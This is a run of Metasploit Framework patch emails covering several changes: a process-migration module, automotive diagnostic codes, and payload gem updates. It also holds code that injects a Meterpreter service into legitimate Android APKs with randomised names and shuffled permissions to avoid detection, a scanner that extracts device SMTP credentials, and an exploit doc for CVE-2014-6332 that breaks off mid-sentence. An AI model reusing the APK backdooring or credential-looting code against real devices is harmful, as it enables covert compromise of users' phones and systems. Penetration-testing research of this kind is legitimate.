all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights: It will try to migrate to a user level process, if that fails it will attempt to spawn the process then migrate to it. It will attempt the User level processes in the following order: NAME (if specified), explorer.exe, then notepad.exe.}, @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Post OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']), OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']), OptBool.new( 'KILL', [true, 'Kill original session process.', false]), - OptBool.new( 'NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false]) + OptBool.new( 'NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', true]) ], self.class) end From e05e08a54f70624c9d1221a83dd51329fb7ac89f Mon Sep 17 00:00:00 2001 From: Josh Hale <jhale85446@gmail.com> Date: Mon, 27 Feb 2017 20:33:45 -0600 Subject: [PATCH 266/426] Update module doc --- documentation/modules/post/windows/manage/priv_migrate.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/documentation/modules/post/windows/manage/priv_migrate.md b/documentation/modules/post/windows/manage/priv_migrate.md index 45b73a5e74..4a7131fe32 100644 --- a/documentation/modules/post/windows/manage/priv_migrate.md +++ b/documentation/modules/post/windows/manage/priv_migrate.md @@ -14,6 +14,7 @@ This module is a nice addition to the beginning of an autorun script for post-Me - **ANAME** - This option allows you to specify a system level process that the module attempts to migrate to first if the session has admin rights. - **NAME** - This option allows you to specify the user level process that the module attempts to migrate to first if the session has user rights or if admin migration fails through all of the default processes. - **KILL** - This option allows you to kill the original process after a successful migration. The default value is FALSE. +- **NOFAIL** - This option allows you to specify whether or not the module will migrate the session into a user level process if admin level migration fails. If TRUE, this may downgrade priviliged shells. The default value is FALSE. ## Module Process Here is the process that the module follows: @@ -22,11 +23,13 @@ Here is the process that the module follows: - If the session has admin rights, it attempts to migrate to a system owned process in the following order: - ANAME (Module option, if specified) - services.exe - - winlogon.exe - wininit.exe + - svchost.exe - lsm.exe - lsass.exe -- If it is unable to migrate to one of these processes, it drops to user level migration. + - winlogon.exe +- The module will not migrate if the session has System rights and is already in one of the above target processes. +- If it is unable to migrate to one of these processes, it drops to user level migration if NOFAIL is TRUE. - If the session has user rights, it attempts to migrate to a user owned process in the following order: - NAME (Module option, if specified) - explorer.exe From def5088097541973c97485ae5f8b915b8395e94f Mon Sep 17 00:00:00 2001 From: Josh Hale <jhale85446@gmail.com> Date: Mon, 27 Feb 2017 20:37:58 -0600 Subject: [PATCH 267/426] Change NOFAIL default to false --- modules/post/windows/manage/priv_migrate.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index f9d8f25413..10629a5753 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Post OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']), OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']), OptBool.new( 'KILL', [true, 'Kill original session process.', false]), - OptBool.new( 'NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', true]) + OptBool.new( 'NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false]) ], self.class) end From d4e5cb79939282bf3277d0600a83a592361f7886 Mon Sep 17 00:00:00 2001 From: Craig Smith <agent.craig@gmail.com> Date: Mon, 27 Feb 2017 21:09:57 -0800 Subject: [PATCH 268/426] Fixes #8022 Adds detection for ELM327 chips reporting CAN ERROR when vehicle is off. Addes some enhanced UDS Error codes. Cleaned up reporting from getvinfo if the vehicle is off or not connected. --- .../extensions/automotive/uds_errors.rb | 41 ++++++++++++++++++- modules/post/hardware/automotive/getvinfo.rb | 10 +++-- tools/hardware/elm327_relay.rb | 8 ++++ 3 files changed, 54 insertions(+), 5 deletions(-) diff --git a/lib/rex/post/hwbridge/extensions/automotive/uds_errors.rb b/lib/rex/post/hwbridge/extensions/automotive/uds_errors.rb index c19d8c8e5f..76c363e137 100644 --- a/lib/rex/post/hwbridge/extensions/automotive/uds_errors.rb +++ b/lib/rex/post/hwbridge/extensions/automotive/uds_errors.rb @@ -8,6 +8,7 @@ module Automotive module UDSErrors +# Negative Response Codes (NDC) ERR_MNEMONIC = { 0x10 => "GR", 0x11 => "SNS", @@ -54,7 +55,25 @@ ERR_MNEMONIC = { 0x73 => "WBSC", 0x78 => "RCRRP", 0x7E => "SFNSIAS", - 0x7F => "SNSIAS" + 0x7F => "SNSIAS", + 0x81 => "RTH", + 0x82 => "RTL", + 0x83 => "EIR", + 0x84 => "EINR", + 0x85 => "ERTTL", + 0x86 => "TTH", + 0x87 => "TTL", + 0x88 => "VSTH", + 0x89 => "VSTL", + 0x8A => "TPTH", + 0x8B => "TPTL", + 0x8C => "TRNIN", + 0x8D => "TRNIG", + 0x8F => "BSNC", + 0x90 => "SLNIP", + 0x91 => "TCCL", + 0x92 => "VTH", + 0x93 => "VTL" } ERR_DESC = { @@ -80,7 +99,25 @@ ERR_DESC = { "WBSC" => "Wrong Block Sequence Counter", "RCRRP" => "Request Correctly Received, but Response is Pending", "SFNSIAS" => "Sub-Function Not Supoorted In Active Session", - "SNSIAS" => "Service Not Supported In Active Session" + "SNSIAS" => "Service Not Supported In Active Session", + "RTH" => "RPM Too High", + "RTL" => "RPM Too Low". + "EIR" => "Engine is Running", + "EINR" => "Engine is not Running", + "ERTTL" => "Engine Run Time Too Low", + "TTH" => "Temperature Too High", + "TTL" => "Temperature Too Low", + "VSTH" => "Vehicle Speed Too High", + "VSTL" => "Vehicle Speed Too Low", + "TPTH" => "Throttle Pedal Too High", + "TPTL" => "Throttle Pedal Too Low", + "TRNIN" => "Transmission Range Not in Neutral", + "TRNIG" => "Transmission Range Not in Gear", + "BSNC" => "Brake Switch Not Closed", + "SLNIP" => "Shifter Lever Not In Park", + "TCCL" => "Torque Converter Clutch Locked", + "VTH" => "Voltage Too High", + "VTL" => "Voltage Too Low" } end diff --git a/modules/post/hardware/automotive/getvinfo.rb b/modules/post/hardware/automotive/getvinfo.rb index deeec1b7df..8011e2c02a 100644 --- a/modules/post/hardware/automotive/getvinfo.rb +++ b/modules/post/hardware/automotive/getvinfo.rb @@ -33,8 +33,12 @@ class MetasploitModule < Msf::Post def run pids = get_current_data_pids(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) - print_status("Available PIDS for pulling realtime data: #{pids.size} pids") - print_status(" #{pids.inspect}") + if pids.size == 0 + print_status("No reported PIDs. You may not be properly connected") + else + print_status("Available PIDS for pulling realtime data: #{pids.size} pids") + print_status(" #{pids.inspect}") + end if pids.include? 1 data = get_monitor_status(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) print_status(" MIL (Engine Light) : #{data["MIL"] ? "ON" : "OFF"}") if data.has_key? "MIL" @@ -58,7 +62,7 @@ class MetasploitModule < Msf::Post dtcs = get_dtcs(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) print_status("DTCs: #{ dtcs.join(",") }") if dtcs.size > 0 pids = get_vinfo_supported_pids(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) - print_status("Mode $09 Vehicle Info Supported PIDS: #{pids.inspect}") + print_status("Mode $09 Vehicle Info Supported PIDS: #{pids.inspect}") if pids.size > 0 pids.each do |pid| # Handle known pids if pid == 2 diff --git a/tools/hardware/elm327_relay.rb b/tools/hardware/elm327_relay.rb index 4f5f11c40f..bb3717b3d7 100755 --- a/tools/hardware/elm327_relay.rb +++ b/tools/hardware/elm327_relay.rb @@ -249,6 +249,10 @@ module ELM327HWBridgeRelay send_cmd(data) @packets_sent += 1 @last_sent = Time.now() + if resp == "CAN ERROR" + result["success"] = false + return result + end result["success"] = true result end @@ -273,6 +277,10 @@ module ELM327HWBridgeRelay resp = send_cmd(data) @packets_sent += 1 @last_sent = Time.now() + if resp == "CAN ERROR" + result["success"] = false + return result + end result["Packets"] = [] resp.split(/\r/).each do |line| pkt = {} From 031285d49ac53b2d169d2dd9e006b3a402fb18d3 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 28 Feb 2017 03:04:53 -0600 Subject: [PATCH 269/426] update payloads --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- modules/payloads/singles/python/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_https.rb | 2 +- modules/payloads/singles/python/meterpreter_reverse_tcp.rb | 2 +- 6 files changed, 7 insertions(+), 7 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 1eb417e75f..8ac223f8d5 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -14,7 +14,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.2.15) + metasploit-payloads (= 1.2.16) metasploit_data_models metasploit_payloads-mettle (= 0.1.7) msgpack @@ -169,7 +169,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.2.15) + metasploit-payloads (1.2.16) metasploit_data_models (2.0.14) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index b3691681fb..05ac944ffb 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -65,7 +65,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.2.15' + spec.add_runtime_dependency 'metasploit-payloads', '1.2.16' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7' # Needed by msfgui and other rpc components diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index 97facf0f25..c87b4b300e 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 53182 + CachedSize = 53370 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index f1676e35df..d4f986132a 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 53142 + CachedSize = 53334 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 60fc42cc2b..35c92de474 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 53146 + CachedSize = 53334 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 0aa4f083af..08b172ee96 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 53098 + CachedSize = 53286 include Msf::Payload::Single include Msf::Payload::Python From c8816cacb0e74e1d46521adb504769e6674452e5 Mon Sep 17 00:00:00 2001 From: Tim <timrlw@gmail.com> Date: Wed, 1 Mar 2017 12:27:12 +0800 Subject: [PATCH 270/426] Remove stageless classname from staged payloads, fixes #8034 --- lib/msf/core/payload/android.rb | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb index 6e8294b78a..3e9411028d 100644 --- a/lib/msf/core/payload/android.rb +++ b/lib/msf/core/payload/android.rb @@ -55,14 +55,7 @@ module Msf::Payload::Android } config = Rex::Payloads::Meterpreter::Config.new(config_opts) - result = config.to_b - - result[0] = "\x01" if opts[:stageless] - result - end - - def string_sub(data, placeholder="", input="") - data.gsub!(placeholder, input + "\x00" * (placeholder.length - input.length)) + config.to_b end def sign_jar(jar) @@ -98,14 +91,19 @@ module Msf::Payload::Android end def generate_jar(opts={}) + config = generate_config(opts) if opts[:stageless] classes = MetasploitPayloads.read('android', 'meterpreter.dex') + # Add stageless classname at offset 8000 + config += "\x00" * (8000 - config.size) + config += 'com.metasploit.meterpreter.AndroidMeterpreter' + config[0] = "\x01" else classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') end - config = generate_config(opts) - string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config) + config += "\x00" * (8195 - config.size) + classes.gsub!("\xde\xad\xba\xad" + "\x00" * 8191, config) jar = Rex::Zip::Jar.new files = [ From b273517f9a129adc7fd10dbe6dbcbc6b28fab636 Mon Sep 17 00:00:00 2001 From: Tim <timrlw@gmail.com> Date: Wed, 1 Mar 2017 12:46:00 +0800 Subject: [PATCH 271/426] always set first byte to 1 on stageless configs --- lib/msf/core/payload/android.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb index 3e9411028d..9b17e68aa2 100644 --- a/lib/msf/core/payload/android.rb +++ b/lib/msf/core/payload/android.rb @@ -54,8 +54,9 @@ module Msf::Payload::Android transports: opts[:transport_config] || [transport_config(opts)] } - config = Rex::Payloads::Meterpreter::Config.new(config_opts) - config.to_b + config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b + config[0] = "\x01" if opts[:stageless] + config end def sign_jar(jar) @@ -97,7 +98,6 @@ module Msf::Payload::Android # Add stageless classname at offset 8000 config += "\x00" * (8000 - config.size) config += 'com.metasploit.meterpreter.AndroidMeterpreter' - config[0] = "\x01" else classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') end From 063d999a647fb916800f4fadc86319237fc46b35 Mon Sep 17 00:00:00 2001 From: Tim <timrlw@gmail.com> Date: Wed, 1 Mar 2017 14:20:31 +0800 Subject: [PATCH 272/426] randomize the payload, service and broadcast receiver names --- lib/msf/core/payload/apk.rb | 29 +++++++++++++++++++++-------- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 087bc4e0e3..d26ecb7262 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -68,7 +68,7 @@ class Msf::Payload::Apk } end - def fix_manifest(tempdir, package) + def fix_manifest(tempdir, package, main_service, main_broadcast_receiver) #Load payload's manifest payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml") payload_permissions = payload_manifest.xpath("//manifest/uses-permission") @@ -82,6 +82,7 @@ class Msf::Payload::Apk name = permission.attribute("name").to_s old_permissions << name end + old_permissions.shuffle application = original_manifest.xpath('//manifest/application') payload_permissions.each do |permission| @@ -100,8 +101,9 @@ class Msf::Payload::Apk application = original_manifest.at_xpath('/manifest/application') receiver = payload_manifest.at_xpath('/manifest/application/receiver') service = payload_manifest.at_xpath('/manifest/application/service') - receiver.attributes["name"].value = package + receiver.attributes["name"].value - service.attributes["name"].value = package + service.attributes["name"].value + receiver.attributes["name"].value = package + '.' + main_broadcast_receiver + receiver.attributes["label"].value = main_broadcast_receiver + service.attributes["name"].value = package + '.' + main_service application << receiver.to_xml application << service.to_xml @@ -212,6 +214,10 @@ class Msf::Payload::Apk package = amanifest.xpath("//manifest").first['package'] package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}" + classes = {} + classes['Payload'] = "#{Rex::Text::rand_text_alpha_lower(5)}".capitalize + classes['MainService'] = "#{Rex::Text::rand_text_alpha_lower(5)}".capitalize + classes['MainBroadcastReceiver'] = "#{Rex::Text::rand_text_alpha_lower(5)}".capitalize package_slash = package.gsub(/\./, "/") print_status "Adding payload as package #{package}\n" payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali") @@ -221,12 +227,19 @@ class Msf::Payload::Apk # Copy over the payload files, fixing up the smali code payload_files.each do |file_name| smali = File.read(file_name) - newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash) - newfilename = "#{payload_dir}#{File.basename file_name}" - File.open(newfilename, "wb") {|file| file.puts newsmali } + smali_class = File.basename file_name + for oldclass, newclass in classes + if smali_class == "#{oldclass}.smali" + smali_class = "#{newclass}.smali" + end + smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass) + end + smali.gsub!(/com\/metasploit\/stage/, package_slash) + newfilename = "#{payload_dir}#{smali_class}" + File.open(newfilename, "wb") {|file| file.puts smali } end - payloadhook = %Q^invoke-static {}, L#{package_slash}/MainService;->start()V + payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V ^ + entrypoint hookedsmali = activitysmali.sub(entrypoint, payloadhook) @@ -237,7 +250,7 @@ class Msf::Payload::Apk injected_apk = "#{tempdir}/output.apk" aligned_apk = "#{tempdir}/aligned.apk" print_status "Poisoning the manifest with meterpreter permissions..\n" - fix_manifest(tempdir, package) + fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver']) print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") From ee8b70e0df7d4a089280b97d4be0a1fb936c4e03 Mon Sep 17 00:00:00 2001 From: Tim <timrlw@gmail.com> Date: Wed, 1 Mar 2017 14:23:53 +0800 Subject: [PATCH 273/426] fix permission shuffling --- lib/msf/core/payload/apk.rb | 27 ++++++++++++++++----------- 1 file changed, 16 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index d26ecb7262..21b44b0968 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -78,23 +78,28 @@ class Msf::Payload::Apk original_permissions = original_manifest.xpath("//manifest/uses-permission") old_permissions = [] + add_permissions = [] + original_permissions.each do |permission| name = permission.attribute("name").to_s old_permissions << name end - old_permissions.shuffle application = original_manifest.xpath('//manifest/application') payload_permissions.each do |permission| name = permission.attribute("name").to_s unless old_permissions.include?(name) - print_status("Adding #{name}") - if original_permissions.empty? - application.before(permission.to_xml) - original_permissions = original_manifest.xpath("//manifest/uses-permission") - else - original_permissions.before(permission.to_xml) - end + add_permissions += [permission.to_xml] + end + end + add_permissions.shuffle! + for permission_xml in add_permissions + print_status("Adding #{permission_xml}") + if original_permissions.empty? + application.before(permission_xml) + original_permissions = original_manifest.xpath("//manifest/uses-permission") + else + original_permissions.before(permission_xml) end end @@ -215,9 +220,9 @@ class Msf::Payload::Apk package = amanifest.xpath("//manifest").first['package'] package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}" classes = {} - classes['Payload'] = "#{Rex::Text::rand_text_alpha_lower(5)}".capitalize - classes['MainService'] = "#{Rex::Text::rand_text_alpha_lower(5)}".capitalize - classes['MainBroadcastReceiver'] = "#{Rex::Text::rand_text_alpha_lower(5)}".capitalize + classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize + classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize + classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize package_slash = package.gsub(/\./, "/") print_status "Adding payload as package #{package}\n" payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali") From 601131f236eedb8e6489273b9c71dfcf1a9bf79e Mon Sep 17 00:00:00 2001 From: Tim <timrlw@gmail.com> Date: Wed, 1 Mar 2017 19:22:42 +0800 Subject: [PATCH 274/426] hook Application class if found --- lib/msf/core/payload/apk.rb | 29 ++++++++++++++++------------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 21b44b0968..bb7d04ae8b 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -35,9 +35,14 @@ class Msf::Payload::Apk end end - # Find the activity that is opened when you click the app icon - def find_launcher_activity(amanifest) + # Find a suitable smali point to hook + def find_hook_point(amanifest) package = amanifest.xpath("//manifest").first['package'] + application = amanifest.xpath('//application') + application_name = application.attribute("name") + if application_name + return application_name.to_s + end activities = amanifest.xpath("//activity|//activity-alias") for activity in activities activityname = activity.attribute("targetActivity") @@ -117,7 +122,7 @@ class Msf::Payload::Apk def parse_orig_cert_data(orig_apkfile) orig_cert_data = Array[] - keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}") + keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'") owner_line = keytool_output.match(/^Owner:.+/)[0] orig_cert_dname = owner_line.gsub(/^.*:/, '').strip orig_cert_data.push("#{orig_cert_dname}") @@ -192,24 +197,22 @@ class Msf::Payload::Apk amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") print_status "Locating hook point..\n" - launcheractivity = find_launcher_activity(amanifest) - unless launcheractivity - raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n" - end - smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali" + hookable_class = find_hook_point(amanifest) + smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali" smalifiles = Dir.glob(smalifile) for smalifile in smalifiles if File.readable?(smalifile) - activitysmali = File.read(smalifile) + hooksmali = File.read(smalifile) + break end end - unless activitysmali - raise RuntimeError, "Unable to find hookable activity in #{smalifiles}\n" + unless hooksmali + raise RuntimeError, "Unable to find hook point in #{smalifile}\n" end entrypoint = 'return-void' - unless activitysmali.include? entrypoint + unless hooksmali.include? entrypoint raise RuntimeError, "Unable to find hookable function in #{smalifile}\n" end @@ -247,7 +250,7 @@ class Msf::Payload::Apk payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V ^ + entrypoint - hookedsmali = activitysmali.sub(entrypoint, payloadhook) + hookedsmali = hooksmali.sub(entrypoint, payloadhook) print_status "Loading #{smalifile} and injecting payload..\n" File.open(smalifile, "wb") {|file| file.puts hookedsmali } From c9a354b844694e0e7d267564e37c7059e0284baa Mon Sep 17 00:00:00 2001 From: juushya <KarnGaneshen@gmail.com> Date: Wed, 1 Mar 2017 20:18:51 +0530 Subject: [PATCH 275/426] Added nil checks --- .../scanner/http/gavazzi_em_login_loot.rb | 49 +++++++++++-------- 1 file changed, 29 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb index 9263654e72..60f395ba5a 100644 --- a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -162,15 +162,18 @@ class MetasploitModule < Msf::Auxiliary if !fw_ver_dirty.nil? fw_ver_clean = "#{fw_ver_dirty}".match(/Ver. (.*)[$<]/)[1] - print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") - report_cred( - ip: rhost, - port: rport, - service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", - user: user, - password: pass - ) + if !fw_ver_clean.nil? + print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end end end @@ -179,15 +182,18 @@ class MetasploitModule < Msf::Auxiliary if !fw_ver_dirty.nil? fw_ver_clean = "#{fw_ver_dirty}".match(/[^Ver. ](.*)[^<]/) - print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") - report_cred( - ip: rhost, - port: rport, - service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", - user: user, - password: pass - ) + if !fw_ver_clean.nil? + print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + user: user, + password: pass + ) + end end end @@ -213,14 +219,17 @@ class MetasploitModule < Msf::Auxiliary if (res && res.code == 200 && res.body.include?('SMTP')) dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1] - smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/) dirty_smtp_user = res.body.match(/usersmtp" value=(.*)[$=]/)[1] - smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/) dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1] - smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/) if (!dirty_smtp_server.nil?) && (!dirty_smtp_user.nil?) && (!dirty_smtp_pass.nil?) - print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}") + smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/) + smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/) + smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/) + + if (!smtp_server.nil?) && (!smtp_user.nil?) && (!smtp_pass.nil?) + print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}") + end end else vprint_error("#{rhost}:#{rport} - SMTP config could not be retrieved. Check if the user has administrative privileges") From 2d51801b01fcde0cfc90cbb56645549eb937e991 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Wed, 1 Mar 2017 13:07:04 -0500 Subject: [PATCH 276/426] Use native_arch for railfun multi and test it --- .../extensions/stdapi/railgun/multicall.rb | 2 +- test/modules/post/test/railgun.rb | 21 ++++++++++++++++++- 2 files changed, 21 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb index 951cbcba8a..f225dc7f5e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb @@ -49,7 +49,7 @@ class MultiCaller # needed by DLL helper @win_consts = win_consts - if @client.arch == ARCH_X64 + if @client.native_arch == ARCH_X64 @native = 'Q<' else @native = 'V' diff --git a/test/modules/post/test/railgun.rb b/test/modules/post/test/railgun.rb index fdc3a041b0..8c364a4538 100644 --- a/test/modules/post/test/railgun.rb +++ b/test/modules/post/test/railgun.rb @@ -21,7 +21,7 @@ class MetasploitModule < Msf::Post def test_api_function_calls - it "Results should include error information" do + it "Should include error information in the results" do ret = true result = session.railgun.kernel32.GetCurrentProcess() ret &&= result['GetLastError'] == 0 @@ -51,6 +51,25 @@ class MetasploitModule < Msf::Post ret &&= result['nSize'].to_i == result['ComputerName'].length end + it "Should support calling multiple functions at once" do + ret = true + multi_rail = [ + ['kernel32', 'LoadLibraryA', ['kernel32.dll']], + ['kernel32', 'GetModuleHandleA', ['kernel32.dll']], + ['kernel32', 'GetCurrentProcessId', []] + ] + results = session.railgun.multi(multi_rail) + ret &&= results.length == multi_rail.length + results.each do |result| + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + end + + # LoadLibraryA('kernel32.dll') == GetModuleHandleA('kernel32.dll') + ret &&= results[0]['return'] == results[1]['return'] + ret &&= results[2]['return'] == session.sys.process.getpid + end + it "Should support reading memory" do ret = true result = client.railgun.kernel32.GetModuleHandleA('kernel32') From 6dbb7a297526eb4fb3c48e7755469ac58ec2a469 Mon Sep 17 00:00:00 2001 From: Rok Ajdnik <r.ajdnik@gmail.com> Date: Wed, 1 Mar 2017 20:05:20 +0100 Subject: [PATCH 277/426] Add documentation for ms14_064_ole_code_execution --- .../browser/ms14_064_ole_code_execution.md | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md diff --git a/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md b/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md new file mode 100644 index 0000000000..6a0dfe3a41 --- /dev/null +++ b/documentation/modules/exploit/windows/browser/ms14_064_ole_code_execution.md @@ -0,0 +1,94 @@ +## Vulnerable Application + +This module exploits the Windows OLE Automation array vulnerability, [CVE-2014-6332](https://www.cvedetails.com/cve/cve-2014-6332). The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box due to the Powershell limitation. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead. + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: ```use exploit/windows/browser/ms14_064_ole_code_execution``` +1. Do: ```Choose a payload and set any specific options``` +1. Do: ```run```, after a target browses to the generated URL, you should receive a session. + +## Options + +**TRYUAC** + +Ask victim to start as Administrator. This option only works on Windows 7 targets. + +**AllowPowershellPrompt** + +Allow exploit to try Powershell. If exploiting a Windows 7 target you need to enable this option. + +## Scenarios + +Example usage against a Windows XP Professional SP3 x86 running Internet 